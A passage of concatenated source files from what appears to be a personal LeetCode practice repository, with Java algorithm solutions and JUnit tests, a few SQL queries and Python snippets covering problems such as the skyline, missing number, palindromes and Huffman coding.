1000; System.out.print(a == b); } @Test public void testPalindrome() { PalindromeNumber palindromeNumber = new PalindromeNumber(); palindromeNumber.isPalindrome(121); } @Test public void testValidParentheses() { ValidParentheses validParentheses = new ValidParentheses(); System.out.println(validParentheses.isValid("((([])[]))")); } @Test public void testRemoveDuplicatesFromSortedArray() { RemoveDuplicatesFromSortedArray array = new RemoveDuplicatesFromSortedArray(); int[] a = {1, 1, 2}; System.out.print(array.removeDuplicates(a)); } @Test public void testStrStr() { StrStr strStr = new StrStr(); String hayStack = "mississippi"; String needle = "issip"; System.out.print(strStr.strStr(hayStack, needle)); } @Test public void testMaxSubArray() { MaxSubArray msa = new MaxSubArray(); int[] nums = {-2, 1, -3, 4, -1, 2, 1, -5, 4}; System.out.print(msa.maxSubArray(nums)); } @Test public void testAddPlus() { int[] digits = {9, 9}; PlusOne plusOne = new PlusOne(); plusOne.plusOne(digits); } @Test public void testSqrt() { Sqrt sqrt = new Sqrt(); System.out.print(sqrt.mySqrt(3)); // System.out.println(); // System.out.println(sqrt.newtonSqrt(3)); } @Test public void testPascalTriangleII() { PascalsTriangleII pascalsTriangleII = new PascalsTriangleII(); List<Integer> result = pascalsTriangleII.getRowOk(3); for (Integer integer : result) { System.out.print(integer); } } @Test public void testBestTimeToBuyAndSellStock() { BestTimetoBuyandSellStock bestTimetoBuyandSellStock = new BestTimetoBuyandSellStock(); // int[] stocks = {7, 1, 5, 3, 6, 4}; int[] stocks = {7, 6, 4, 3, 1}; int maxProfit = bestTimetoBuyandSellStock.maxProfit(stocks); System.out.print(maxProfit); } @Test public void testSingleNumber() { int[] nums = {0, 1, 0}; SingleNumber singleNumber = new SingleNumber(); System.out.print(singleNumber.singleNumber(nums)); } @Test public void testTwoSumII() { int[] nums = {2, 7, 11, 15}; TwoSumII twoSumII = new TwoSumII(); int[] results = twoSumII.twoSum(nums, 9); for (int i : results) { System.out.println(i); } } @Test public void testExcelSheetColumnTitle() { int n = 26; ExcelSheetColumnTitle title = new ExcelSheetColumnTitle(); System.out.println(title.convertToTitle(n)); } @Test public void testRotateArray() { int[] nums = {1, 2, 3, 4, 5, 6, 7}; RotateArray rotateArray = new RotateArray(); rotateArray.rotateReverse(nums, 3); for (int i : nums) { System.out.print(i); } } @Test public void testReverseBits() { ReverseBits reverseBits = new ReverseBits(); System.out.println(reverseBits.reverseBits1ms(43261596)); } @Test public void testPowerOfTwo() { PowerOfTwo powerOfTwo = new PowerOfTwo(); System.out.println(powerOfTwo.isPowerOfTwo(1022)); } @Test public void testPalindromeLinkedList() { ListNode head = new ListNode(1); head.next = new ListNode(-129); head.next.next = new ListNode(-230); head.next.next.next = new ListNode(-230); head.next.next.next.next = new ListNode(-129); head.next.next.next.next.next = new ListNode(1); PalindromeLinkedList palindromeLinkedList = new PalindromeLinkedList(); System.out.println(palindromeLinkedList.isPalindrome(head)); } @Test public void testDeleteNodeInALinkedList() { ListNode oneNode = new ListNode(1); ListNode twoNode = new ListNode(2); oneNode.next = twoNode; oneNode.next.next = new ListNode(3); oneNode.next.next.next = new ListNode(4); DeleteNodeInALinkedList deleteNodeInALinkedList = new DeleteNodeInALinkedList(); deleteNodeInALinkedList.deleteNode(oneNode, twoNode); } @Test public void testValidAnagram() { ValidAnagram validAnagram = new ValidAnagram(); String s = "anagram"; String t = "nagaram"; System.out.print(validAnagram.isAnagram(s, t)); } @Test public void testAddDigits() { AddDigits addDigits = new AddDigits(); int num = 38; System.out.print(addDigits.addDigits(num)); } @Test public void testUglyNumber() { UglyNumber uglyNumber = new UglyNumber(); System.out.println(uglyNumber.isUgly(8)); System.out.println(uglyNumber.isUgly(14)); } @Test public void testFistBadVersion() { FirstBadVersion firstBadVersion = new FirstBadVersion(); System.out.print(firstBadVersion.firstBadVersion(3)); } @Test public void testWordPattern() { WordPattern wordPattern = new WordPattern(); System.out.print(wordPattern.wordPattern("abc", "b c a")); } @Test public void testNimGame() { NimGame nimGame = new NimGame(); System.out.print(nimGame.canWinNim(4)); } @Test public void testRangeSumQueryImmutable() { int[] nums = {-2, 0, 3, -5, 2, -1}; RangeSumQueryImmutable rangeSumQueryImmutable = new RangeSumQueryImmutable(nums); System.out.println(rangeSumQueryImmutable.sumRange(0, 2)); } @Test public void testReverseString() { ReverseString reverseString = new ReverseString(); System.out.print(reverseString.reverseString("hello")); } @Test public void testReverseVowelsOfStrings() { ReverseVowelsOfAString reverseVowelsOfAString = new ReverseVowelsOfAString(); String result = reverseVowelsOfAString.reverseVowels("leetcode"); System.out.print(result); } @Test public void testIntersectionofTwoArrays() { IntersectionofTwoArrays intersectionofTwoArrays = new IntersectionofTwoArrays(); int[] nums1 = {1, 2, 2, 3}; int[] nums2 = {2, 4}; int[] intersection = intersectionofTwoArrays.intersection(nums1, nums2); Arrays.stream(intersection).forEach(System.out::print); } @Test public void testNonDecreasingArray() { int[] nums = {1, 2, 3, 0}; NonDecreasingArray nonDecreasingArray = new NonDecreasingArray(); boolean ret = nonDecreasingArray.checkPossibility(nums); System.out.println(ret); } @Test public void testMedianOfTwoSortedArrays() { int[] nums1 = {1, 3}; int[] nums2 = {2}; MedianOfTwoSortedArrays medianOfTwoSortedArrays = new MedianOfTwoSortedArrays(); double median = medianOfTwoSortedArrays.findMedianSortedArrays(nums1, nums2); System.out.println(median); } }<file_sep>SELECT email as `Email` FROM Person GROUP BY email HAVING count(*) > 1 SELECT DISTINCT a.Email FROM Person a LEFT JOIN (SELECT Id, Email from Person GROUP BY Email) b ON (a.email = b.email) AND (a.Id = b.Id) WHERE b.Email IS NULL SELECT DISTINCT a.Email FROM Person a WHERE EXISTS( SELECT 1 FROM Person b WHERE a.Email = b.Email LIMIT 1, 1 ) SELECT DISTINCT a.Email FROM Person a JOIN Person b ON (a.Email = b.Email) WHERE a.Id <> b.Id <file_sep>import com.example.dp.Fab; import com.example.dp.LongestPalindromeSubSequence; import com.example.dp.LongestSubsequence; import com.example.dp.MaxSubArraySum; import com.example.dp.Package01Answer; import com.example.greed.HuffmanTree; import java.util.TreeSet; import org.junit.Test; /** * Created by binea on 2016/10/19. */ public class UnitTest { @Test public void testFab() { System.out.print(Fab.getFab(40)); } @Test public void testLongestSubsequence() { LongestSubsequence longestSubsequence = new LongestSubsequence(); int[] a = {1, 0, 0, 1, 0, 1, 0, 1, 1, 0}; int[] b = {0, 1, 0, 1, 1, 0, 1, 1, 0}; int[][] result = longestSubsequence.getLongestSubsequence(a, b); longestSubsequence.display(result, a, a.length -1 , b.length - 1); } @Test public void testLongestAscendSubsequence() { int[] a= {2, 1, 4, 3, 1, 2, 1, 5, 3}; LongestSubsequence longestSubsequence = new LongestSubsequence(); TreeSet<Integer> treeSet = longestSubsequence.longestAscendSubsequence(a); if(treeSet == null) { return; } for(Integer num : treeSet) { System.out.printf("%d ", num); } } @Test public void testLongestPalindromeSubSequence() { LongestPalindromeSubSequence longestPalindromeSubSequence = new LongestPalindromeSubSequence(); String result = longestPalindromeSubSequence.longestPalindrome("character"); System.out.print(result); } @Test public void testPackageAnswer() { Package01Answer package01Answer = new Package01Answer(); int[] values = {60, 100, 120}; int[] result = package01Answer.getPackageAnswer(new int[]{60, 100, 120}, new int[]{10, 20, 30}, 50); for(int i : result) { System.out.print(i + " "); } } @Test public void testEncodeString() { HuffmanTree.HuffmanAlgorithmImpl huffmanImpl1 = new HuffmanTree().new HuffmanAlgorithmImpl(); HuffmanTree.EncodeResult result = huffmanImpl1.encode("abcdda"); System.out.println(result.getEncode()); } @Test public void testDecode() { HuffmanTree.HuffmanAlgorithmImpl huffmanImpl1 = new HuffmanTree().new HuffmanAlgorithmImpl(); HuffmanTree.EncodeResult result = huffmanImpl1.encode("abcdda"); String decode = huffmanImpl1.decode(result); System.out.println(decode); } @Test public void testMaxSubArraySum() { int[] array = {-1, 2, -3, -2, 5, -1}; MaxSubArraySum maxSubArraySum = new MaxSubArraySum(); int result = maxSubArraySum.getMaxSubArraySum(array); System.out.print(result); } @Test public void testRingBuffer() { } } <file_sep>package com.binea.www.leetcodepractice.algorithm; // Created by xubinggui on 01/11/2016. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 import java.util.ArrayList; import java.util.List; public class TheSkylineProblem { /** * A city's skyline is the outer contour of the silhouette formed by all the buildings in that city when viewed from a distance. Now suppose you * are given the locations and height of all the buildings as shown on a cityscape photo (Figure A), write a program to output the skyline formed * by these buildings collectively (Figure B). * * * The geometric information of each building is represented by a triplet of integers [Li, Ri, Hi], where Li and Ri are the x coordinates of the * left and right edge of the ith building, respectively, and Hi is its height. It is guaranteed that 0 ≤ Li, Ri ≤ INT_MAX, 0 < Hi ≤ INT_MAX, and * Ri - Li > 0. You may assume all buildings are perfect rectangles grounded on an absolutely flat surface at height 0. * * For instance, the dimensions of all buildings in Figure A are recorded as: [ [2 9 10], [3 7 15], [5 12 12], [15 20 10], [19 24 8] ] . * * The output is a list of "key points" (red dots in Figure B) in the format of [ [x1,y1], [x2, y2], [x3, y3], ... ] that uniquely defines a * skyline. A key point is the left endpoint of a horizontal line segment. Note that the last key point, where the rightmost building ends, is * merely used to mark the termination of the skyline, and always has zero height. Also, the ground in between any two adjacent buildings should * be considered part of the skyline contour. * * For instance, the skyline in Figure B should be represented as:[ [2 10], [3 15], [7 12], [12 0], [15 10], [20 8], [24, 0] ]. * * Notes: * * The number of buildings in any input list is guaranteed to be in the range [0, 10000]. * The input list is already sorted in ascending order by the left x position Li. * The output list must be sorted by the x position. * There must be no consecutive horizontal lines of equal height in the output skyline. For instance, [...[2 3], [4 5], [7 5], [11 5], [12 7]...] * is not acceptable; the three lines of height 5 should be merged into one in the final output as such: [...[2 3], [4 5], [12 7], ...] */ public List<int[]> getSkyline(int[][] buildings) { List<int[]> result = new ArrayList<int[]>(); if (buildings == null || buildings.length == 0) { return result; } return computeSkyline(buildings, 0, buildings.length - 1); } public static int[] getPoint(int x, int y) { int[] temp = { x, y }; return temp; } private static List<int[]> computeSkyline(int[][] buildings, int from, int to) { List<int[]> result = new ArrayList<int[]>(); if (from == to) { result.add(getPoint(buildings[from][0], buildings[from][2])); result.add(getPoint(buildings[from][1], 0)); return result; } int mid = from + (to - from) / 2; List<int[]> LS1 = computeSkyline(buildings, from, mid); List<int[]> LS2 = computeSkyline(buildings, mid + 1, to); return merge(LS1, LS2); } public static List<int[]> merge(List<int[]> SL1, List<int[]> SL2) { List<int[]> result = new ArrayList<int[]>(); int len1 = SL1.size(), len2 = SL2.size(); int p1 = 0, p2 = 0, H1 = 0, H2 = 0; int[] cur = null; // A boolean parameter to record whether the cur value is from // SL1 or SL2 boolean fromSL1 = true; while (p1 < len1 && p2 < len2) { int[] s1 = SL1.get(p1); int[] s2 = SL2.get(p2); if (s1[0] < s2[0]) { fromSL1 = true; cur = s1; H1 = cur[1]; ++p1; } else if (s1[0] > s2[0]) { fromSL1 = false; cur = s2; H2 = cur[1]; ++p2; } else { if (s1[1] > s2[1]) { fromSL1 = true; cur = s1; } else { fromSL1 = false; cur = s2; } H1 = s1[1]; H2 = s2[1]; ++p1; ++p2; } int h = 0; if (fromSL1) { h = Math.max(cur[1], H2); } else { h = Math.max(cur[1], H1); } if (result.isEmpty() || h != result.get(result.size() - 1)[1]) { result.add(getPoint(cur[0], h)); } } while (p1 < len1) { result.add(SL1.get(p1++)); } while (p2 < len2) { result.add(SL2.get(p2++)); } return result; } } <file_sep>package com.binea.www.leetcodepractice.algorithm; /** * Created by xubinggui on 6/14/16. * // _ooOoo_ * // o8888888o * // 88" . "88 * // (| -_- |) * // O\ = /O * // ____/`---'\____ * // . ' \\| |// `. * // / \\||| : |||// \ * // / _||||| -:- |||||- \ * // | | \\\ - /// | | * // | \_| ''\---/'' | | * // \ .-\__ `-` ___/-. / * // ___`. .' /--.--\ `. . __ * // ."" '< `.___\_<|>_/___.' >'"". * // | | : `- \`.;`\ _ /`;.`/ - ` : | | * // \ \ `-. \_ __\ /__ _/ .-` / / * // ======`-.____`-.___\_____/___.-`____.-'====== * // `=---=' * // * // ............................................. * // 佛祖镇楼 BUG辟易 */ public class MissingNumber { /** * Given an array containing n distinct numbers taken from 0, 1, 2, ..., n, find the one that * is * missing from the array. * * For example, * Given nums = [0, 1, 3] return 2. * * Note: * Your algorithm should run in linear runtime complexity. Could you implement it using only * constant extra space complexity? */ public static int missingNumber(int[] nums) { int length = nums.length; int sum = length * (length + 1) / 2; for (int i = 0; i < nums.length; i++) { sum -= nums[i]; } return sum; } public static int missingNumber01(int[] nums) { int res = nums.length; for(int i=0; i<nums.length; i++){ res ^= i; res ^= nums[i]; } return res; } } <file_sep>package com.binea.www.leetcodepractice.algorithm; // Created by xubinggui on 20/10/2016. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 public class RansomNote { /** * 
Given
 an 
arbitrary
 ransom
 note
 string 
and 
another 
string 
containing 
letters from
 all 
the 
magazines,
 write 
a 
function 
that * 
will 
return 
true 
if 
the 
ransom 
 note 
can 
be 
constructed 
from 
the 
magazines ; 
otherwise, 
it 
will 
return 
false. * * Each 
letter
 in
 the
 magazine 
string 
can
 only 
be
 used 
once
 in
 your 
ransom
 note. * * Note: * You may assume that both strings contain only lowercase letters. * * canConstruct("a", "b") -> false * canConstruct("aa", "ab") -> false * canConstruct("aa", "aab") -> true */ public boolean canConstruct(String ransom, String magazine) { int[] array = new int[26]; for (char c : ransom.toCharArray()) { array[c - 'a']--; } for (char c : magazine.toCharArray()) { array[c - 'a']++; } for (int i = 0; i < 26; i++) { if (array[i] < 0) { return false; } } return true; } } <file_sep>package com.binea.www.leetcodepractice.algorithm; // Created by xubinggui on 9/13/16. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 public class BasicCalculatorII { /** * Implement a basic calculator to evaluate a simple expression string. * * The expression string contains only non-negative integers, +, -, *, / operators and empty spaces . The integer division should truncate toward * zero. * * You may assume that the given expression is always valid. * * Some examples: * "3+2*2" = 7 * " 3/2 " = 1 * " 3+5 / 2 " = 5 * Note: Do not use the eval built-in library function. */ public int calculate(String s) { int ans = 0, num = 0, product = 1, op = 1; // op 1: +; -1: -; 2: *; 3: / for (char c : s.toCharArray()) { switch (c) { case ' ': break; case '+': case '-': ans += op == 2 ? product * num : op == 3 ? product / num : op * num; op = c == '+' ? 1 : -1; num = 0; break; case '*': case '/': product = op == 2 ? product * num : op == 3 ? product / num : op * num; op = c == '*' ? 2 : 3; num = 0; break; default: num = num * 10 + c - '0'; break; } } ans += op == 2 ? product * num : op == 3 ? product / num : op * num; return ans; } } <file_sep>package com.example.dp; /** * Created by binea on 2016/10/19. */ public class Fab { public static int getFab(int n) { int[] array = new int[n]; array[0] = 1; array[1] = 2; for(int i = 2; i <= n; i++) { array[i] = array[i - 1] + array[i - 2]; } return array[n - 1]; } } <file_sep>package com.binea.www.leetcodepractice.algorithm; // Created by xubinggui on 7/21/16. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 public class LargestRectangleArea { /** * Given n non-negative integers representing the histogram's bar height where the width of each bar is 1, find the area of largest rectangle in * the histogram. * * * Above is a histogram where width of each bar is 1, given height = [2,1,5,6,2,3]. * * * The largest rectangle is shown in the shaded area, which has area = 10 unit. * * For example, * Given heights = [2,1,5,6,2,3], * return 10. */ public int largestRectangleArea6ms(int[] h) { int n = h.length; int max = 0; int[] stack = new int[n + 1]; int is = -1; for (int i = 0; i <= n; i++) { int height = (i == n) ? 0 : h[i]; while (is != -1 && height < h[stack[is]]) { int hh = h[stack[is--]]; int width = (is == -1) ? i : i - 1 - stack[is]; max = Math.max(max, hh * width); } stack[++is] = i; } return max; } public int largestRectangleArea4ms(int[] height) { if ((height == null) || (height.length == 0)) return 0; final int N = height.length; int[] s = new int[N + 1]; int i, top = 0, hi, area = 0; s[0] = -1; for (i = 0; i < N; i++) { hi = height[i]; while ((top > 0) && (height[s[top]] > hi)) { area = Math.max(area, height[s[top]] * (i - s[top - 1] - 1)); top--; } s[++top] = i; } while (top > 0) { area = Math.max(area, height[s[top]] * (N - s[top -1] - 1)); top--; } return area; } } <file_sep>select Name as Customers from Customers where id not in(select CustomerId from Orders);<file_sep>package com.binea.www.leetcodepractice.algorithm.easy; /** * Created by binea on 11/9/2017. */ public class MaxSubArray { public int maxSubArray(int[] nums) { if (nums == null || nums.length == 0) { return 0; } int maxEndingHere = 0; int maxTillNow = Integer.MIN_VALUE; for (int i = 0; i < nums.length; i++) { maxEndingHere = nums[i] + maxEndingHere; maxTillNow = maxTillNow > maxEndingHere ? maxTillNow : maxEndingHere; if (maxEndingHere < 0) { maxEndingHere = 0; } } return maxTillNow; } } <file_sep>package com.example; import java.util.Arrays; /** * Created by binea on 8/9/2017. */ public class LongestIncreasingArray { /** * @param array */ public int[] getLongestIncreasingArray(int[] array) { int[] result = new int[array.length]; for (int i = 0; i < result.length; i++) { result[i] = 1; } int maxLength = 1; for (int i = 1; i < array.length; i++) { for (int j = 0; j < i; j++) { if (array[j] < array[i] && result[j] + 1 > result[i]) { result[i] = result[j] + 1; } if (maxLength < result[i]) { maxLength = result[i]; } } } return result; } public int getLongestIncreasingArray1ms(int[] array) { int[] tails = new int[array.length]; int size = 0; for (int x : array) { int i = 0, j = size; while (i != j) { int m = (i + j) / 2; if (tails[m] < x) { i = m + 1; } else { j = m; } } tails[i] = x; if (i == size) ++size; } return size; } public int[] getLongestIncreasingArrayDp(int[] nums) { int[] dp = new int[nums.length]; int len = 0; for (int num : nums) { int i = Arrays.binarySearch(dp, 0, len, num); if (i < 0) { i = -(i + 1); } dp[i] = num; if (i == len) { len++; } } return dp; } } <file_sep>def longestPalindromeSubseq(self, s): if s == s[::-1]: return len(s) n = len(s) dp = [0 for j in range(n)] dp[n - 1] = 1 for i in range(n - 1, -1, -1): newdp = dp[:] newdp[i] = 1 for j in range(i + 1, n): if s[i] == s[j]: newdp[j] = 2 + dp[j - 1] else: newdp[j] = max(dp[j], newdp[j - 1]) dp = newdp return dp[n - 1]<file_sep>class Solution(object): def minMoves(self, nums): """ :type nums: List[int] :rtype: int """ # if len(nums) == 0: # return 0 # minNum = nums[0] # for i in nums: # minNum = min(i, minNum) # res = 0 # for i in nums: # res += i - minNum # return res return sum(nums) - len(nums) * min(nums)<file_sep>package com.binea.www.leetcodepractice.algorithm;// Created by xubinggui on 7/19/16. import java.util.ArrayList; import java.util.Arrays; import java.util.List; // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 public class IntersectArray { /** * Given two arrays, write a function to compute their intersection. * * Example: * Given nums1 = [1, 2, 2, 1], nums2 = [2, 2], return [2, 2]. * * Note: * Each element in the result should appear as many times as it shows in both arrays. * The result can be in any order. * Follow up: * What if the given array is already sorted? How would you optimize your algorithm? * What if nums1's size is small compared to nums2's size? Which algorithm is better? * What if elements of nums2 are stored on disk, and the memory is limited such that you cannot load all elements into the memory at once? */ public int[] intersect4ms(int[] nums1, int[] nums2) { if (nums1.length == 0 || nums2.length == 0) { return new int[0]; } Arrays.sort(nums1); Arrays.sort(nums2); int p1 = 0; int p2 = 0; List<Integer> res = new ArrayList<>(); while (p1 < nums1.length && p2 < nums2.length) { if (nums1[p1] == nums2[p2]) { res.add(nums1[p1]); p1++; p2++; } else if (nums1[p1] < nums2[p2]) { p1++; } else { p2++; } } int[] t = new int[res.size()]; for (int i = 0; i < res.size(); i++) t[i] = res.get(i); return t; } } <file_sep>import com.example.stack_queue.StackWithNode; import com.example.stack_queue.TowerStack; import org.junit.Test; /** * Created by binea on 2016/11/8. */ public class Stack_QueueTest { @Test public void testStack1() { StackWithNode stackWithNode = new StackWithNode(); stackWithNode.push(new StackWithNode(). new Node(1)); stackWithNode.push(new StackWithNode(). new Node(2)); stackWithNode.push(new StackWithNode(). new Node(3)); // System.out.println(stackWithNode.min().val); System.out.println(stackWithNode.pop().val); System.out.println(stackWithNode.pop().val); System.out.println(stackWithNode.pop().val); } @Test public void testTowerStack() throws Exception { int n = 3; int diskNums = 5; TowerStack.Tower[] towers = new TowerStack.Tower[n]; for(int i = 0; i < 3; i++) { towers[i] = new TowerStack(). new Tower(i); } for(int i = diskNums; i >= 0; i--) { towers[0].add(i); } towers[0].moveDisks(diskNums, towers[2], towers[1]); } } <file_sep>package com.binea.www.leetcodepractice.algorithm.easy; /** * Created by binea on 11/9/2017. */ public class StrStr { /** * Implement strStr(). * <p> * Returns the index of the first occurrence of needle in haystack, or -1 if needle is not part of haystack. * * @param hayStack * @param needle * @return */ public int strStr(String hayStack, String needle) { if (hayStack == null || needle == null) { return -1; } if (needle.length() == 0) { return 0; } if (hayStack.length() < needle.length()) { return -1; } char firstChar = needle.charAt(0); int needleLength = needle.length(); for (int i = 0; i < hayStack.length(); i++) { if (firstChar == hayStack.charAt(i)) { int j = i; int k = 0; while (k < needleLength && j < hayStack.length() && hayStack.charAt(j) == needle.charAt(k)) { j++; k++; } if (k == needle.length()) { return i; } } } return -1; } public int strStrIndexOf(String hayStack, String needle) { if (hayStack == null) { return -1; } return hayStack.indexOf(needle); } } <file_sep>package com.binea.www.leetcodepractice.algorithm; // Created by xubinggui on 10/9/16. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 public class ShortestPalindrome { /** * Given a string S, you are allowed to convert it to a palindrome by adding characters in front of it. Find and return the shortest palindrome * you can find by performing this transformation. * * For example: * * Given "aacecaaa", return "aaacecaaa". * * Given "abcd", return "dcbabcd". */ public String shortestPalindrome(String s) { if (s.length() <= 1) { return s; } char[] c_str = s.toCharArray(); // the next array stores the failure function of each position. int[] next = new int[c_str.length]; next[0] = -1; int i = -1, j = 0; while (j < c_str.length - 1) { if (i == -1 || c_str[i] == c_str[j]) { i++; j++; next[j] = i; if (c_str[j] == c_str[i]) { next[j] = next[i]; } } else { i = next[i]; } } // match the string with its reverse. i = c_str.length - 1; j = 0; while (i >= 0 && j < c_str.length) { if (j == -1 || c_str[i] == c_str[j]) { i--; j++; } else { j = next[j]; } } StringBuilder sb = new StringBuilder(); for (i = c_str.length - 1; i >= j; i--) sb.append(c_str[i]); for (char c : c_str) sb.append(c); return sb.toString(); } } <file_sep>package com.binea.www.leetcodepractice.algorithm; // Created by xubinggui on 9/28/16. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 public class SumNumbers { class TreeNode { int val; TreeNode left; TreeNode right; TreeNode(int x) { this.val = x; } } /** * Given a binary tree containing digits from 0-9 only, each root-to-leaf path could represent a number. * * An example is the root-to-leaf path 1->2->3 which represents the number 123. * * Find the total sum of all root-to-leaf numbers. * * For example, * * 1 * / \ * 2 3 * The root-to-leaf path 1->2 represents the number 12. * The root-to-leaf path 1->3 represents the number 13. * * Return the sum = 12 + 13 = 25. */ int ans = 0; int sum = 0; public int sumNumbers(TreeNode root) { sumUp(root); return ans; } private void sumUp(TreeNode t) { if (t == null) { return; } sum = sum * 10 + t.val; if (t.left == null && t.right == null) { ans += sum; sum = sum / 10; return; } sumUp(t.left); sumUp(t.right); sum = sum / 10; } } <file_sep>package com.example.graph; import java.util.LinkedList; /** * Created by binea on 2016/11/10. */ public class GraphSearch { public enum State { Unvisited, Visited, Visiting; } public class Node { public int val; public State state = State.Unvisited; public Node(int val) { this.val = val; } Node[] nodes; public Node[] adjacent() { return nodes; } } public class Graph { public Node[] nodes; public Node[] getNodes() { return nodes; } } public boolean search(Graph graph, Node start, Node end) { // dfs(start); bfs(graph, start, end); if (end.state == State.Visited) { return true; } return false; } /** * bfs * @param root */ public void dfs(Node root) { if (root == null) { return; } root.state = State.Visited; for (Node node : root.adjacent()) { if (node.state != State.Visited) { dfs(node); } } } /** * bfs * @param start * @param end */ public void bfs(Graph g, Node start, Node end) { LinkedList<Node> linkedList = new LinkedList<>(); for(Node node : g.getNodes()) { node.state = State.Visited; } start.state = State.Visiting; linkedList.add(start); Node u; while(!linkedList.isEmpty()) { u = linkedList.removeFirst(); if(u == null) { continue; } for(Node node : u.adjacent()) { if(node.state == State.Unvisited) { if(node.val == end.val) { break; }else { node.state = State.Visiting; linkedList.add(node); } } } u.state = State.Visited; } } } <file_sep>package com.example.greed; import java.util.ArrayList; import java.util.HashMap; import java.util.Map; import java.util.Set; import static java.util.Collections.sort; /** * Created by binea on 2016/10/25. */ public class HuffmanTree { class Node implements Comparable<Node> { private Node leftChild = null; private Data data = null; private Node rightChild = null; public Node getLeftChild() { return leftChild; } public void setLeftChild(Node leftChild) { this.leftChild = leftChild; } public Data getData() { return data; } public void setData(Data data) { this.data = data; } public Node getRightChild() { return rightChild; } public void setRightChild(Node rightChild) { this.rightChild = rightChild; } @Override public String toString() { return "Node [leftChild=" + leftChild + ", data=" + data + ", rightChild=" + rightChild + "]"; } @Override public int compareTo(Node o) { return this.data.compareTo(o.getData()); } } class Data implements Comparable<Data> { // 字符 private char c = 0; // 字符出现的次数 private int frequency = 0; public char getC() { return c; } public void setC(char c) { this.c = c; } public int getFrequency() { return frequency; } public void setFrequency(int frequency) { this.frequency = frequency; } @Override public String toString() { return "Data [c=" + c + ", frequency=" + frequency + "]"; } @Override public int compareTo(Data o) { if (this.frequency < o.getFrequency()) { return -1; } else if (this.frequency > o.getFrequency()) { return 1; } else { return 0; } } } public class EncodeResult { // 字符串编码后的结果 private String encode; // 字符编码对 private Map<Character, String> letterCode; public EncodeResult(String encode, Map<Character, String> letterCode) { super(); this.encode = encode; this.letterCode = letterCode; } public String getEncode() { return encode; } public Map<Character, String> getLetterCode() { return letterCode; } } interface HuffmanAlgorithm { /** * 编码字符串。 * * @param str 指定的需要编码的字符串 * @return 编码结果 */ public EncodeResult encode(String str); /** * 根据编码结果返回原来的字符串。 * * @param encodeResult 原来字符串的编码结果。 * @return 解码出来的字符串。 */ public String decode(EncodeResult encodeResult); } abstract class HuffmanAlgorithmAbstract implements HuffmanAlgorithm { @Override public EncodeResult encode(String str) { ArrayList<Node> letterList = toList(str); Node rootNode = createTree(letterList); Map<Character, String> letterCode = getLetterCode(rootNode); EncodeResult result = encode(letterCode, str); return result; } /** * 把一个字符串转化为节点列表 * * @param letters * @return */ private ArrayList<Node> toList(String letters) { ArrayList<Node> letterList = new ArrayList<>(); Map<Character, Integer> ci = new HashMap<>(); for (int i = 0; i < letters.length(); i++) { Character character = letters.charAt(i); if (!ci.keySet().contains(character)) { ci.put(character, 1); } else { Integer oldValue = ci.get(character); ci.put(character, oldValue + 1); } } Set<Character> keys = ci.keySet(); for 